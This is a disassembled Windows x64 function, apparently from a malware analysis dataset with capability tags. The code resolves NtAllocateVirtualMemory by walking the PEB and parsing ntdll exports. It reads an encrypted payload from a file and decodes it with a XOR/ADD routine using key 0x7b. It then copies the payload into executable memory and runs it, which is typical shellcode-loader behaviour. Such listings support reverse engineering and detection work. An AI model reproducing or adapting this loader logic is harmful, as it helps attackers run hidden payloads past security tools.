Function at 0x180001f40
Capabilities:
Access peb ldr_data
Encode data using xor
Get file size
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180040018]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword gs:[0x60]
xor r13d, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
mov eax, 0x5a4d
mov rdi, qword [rcx + 0x20]
cmp word [rdi], ax
jne 0x18000200d
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
xor eax, eax
add rcx, rdi
movzx ebp, ax
mov r14d, dword [rcx + 0x1c]
mov r15d, dword [rcx + 0x20]
add r14, rdi
mov r12d, dword [rcx + 0x24]
add r15, rdi
mov r13d, dword [rcx + 0x18]
add r12, rdi
test r13d, r13d
je 0x18000200a
mov rsi, qword [0x1800429e0]
nop dword [rax + rax]
movzx eax, bp
lea rdx, str.NtAllocateVirtualMemory
mov ecx, dword [r15 + rax*4]
movzx eax, word [r12 + rax*2]
add rcx, rdi
mov ebx, dword [r14 + rax*4]
add rbx, rdi
call fcn.18002a9d0
test eax, eax
cmove rsi, rbx
inc bp
movzx eax, bp
cmp eax, r13d
jb 0x180001fd0
mov qword [0x1800429e0], rsi
xor r13d, r13d
mov qword [rsp + 0x30], r13
lea rcx, [0x18003aaa0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180002054
lea rcx, str.Failed_to_open_file_n
call fcn.180001160
jmp 0x180002440
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x18000207d
lea rcx, str.File_size_error_n
call fcn.180001160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002440
cmp eax, 0x40e09
jae 0x18000209e
lea rcx, str.The_first_buffer_size_cannot_exceed_file_size_n
call fcn.180001160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002440
mov ecx, 0x40e09
lea ebp, [rax - 0x40e09]
call fcn.1800081d4
mov ecx, ebp
mov r15, rax
mov r12d, ebp
call fcn.1800081d4
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r13d
mov r8d, 0x40e09
mov qword [rsp + 0x20], r13
mov rdx, r15
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180002108
lea rcx, str.Failed_to_read_first_buffer_n
call fcn.180001160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180008190
mov rcx, r14
jmp 0x18000243b
cmp dword [rsp + 0x40], 0x40e09
je 0x18000211b
lea rcx, str.Failed_to_read_enough_bytes_to_first_buffer_n
jmp 0x1800020ea
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40e09
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x18000213d
lea rcx, str.Failed_to_set_file_pointer_n
jmp 0x1800020ea
mov ebx, ebp
mov rdi, r14
test ebp, ebp
je 0x180002184
nop word [rax + rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r13
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800023ba
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x1800023ae
add rdi, rcx
sub ebx, ecx
jne 0x180002150
mov ebx, r13d
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x180002187
mov ebx, r13d
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x1800021a0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x1800021c0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x1800021e0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x180002200
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x180002220
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x180002240
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002470
mov rcx, rax
call fcn.180004cb0
inc ebx
cmp ebx, 0xa
jl 0x180002260
movdqa xmm2, xmmword [0x18003ac40]
mov rcx, r15
mov eax, 0x40e0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
movdqu xmmword [rcx], xmm1
add rcx, 0x10
sub rax, 1
jne 0x180002290
lea edx, [rax + 9]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [rcx - 1], al
sub rdx, 1
jne 0x1800022d0
mov rcx, r14
mov eax, r13d
test ebp, ebp
je 0x18000236e
cmp ebp, 0x10
jb 0x180002347
mov edx, ebp
and edx, 0xfffffff0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
add eax, 0x10
movdqa xmm1, xmm2
pxor xmm1, xmm0
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
movdqu xmmword [rcx], xmm1
add rcx, 0x10
cmp eax, edx
jb 0x180002310
cmp eax, ebp
jae 0x18000236e
sub ebp, eax
mov edx, ebp
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [rcx - 1], al
sub rdx, 1
jne 0x180002350
lea r8, [0x18003abc8]
mov qword [rsp + 0x48], r13
lea rdx, [0x18003abd0]
lea rcx, [rsp + 0x48]
call fcn.1800113dc
test eax, eax
jne 0x1800023c6
mov r9, qword [rsp + 0x48]
lea edx, [rax + 1]
mov r8, r12
mov rcx, r14
call fcn.18001129c
mov rcx, qword [rsp + 0x48]
call fcn.18000e984
jmp 0x1800023d2
lea rcx, str.Failed_to_read_enough_bytes_to_second_buffer_n
jmp 0x1800020ea
lea rcx, str.Failed_to_read_second_buffer_n
jmp 0x1800020ea
lea rcx, str.Failed_to_open_output_file_n
call fcn.180001160
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0x40e09
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x58]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rbx, rax
call qword [0x1800429e0]
mov rcx, qword [rsp + 0x50]
mov r8d, 0x40e09
mov rdx, r15
call fcn.18000a110
call qword [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180008190
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180008170
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret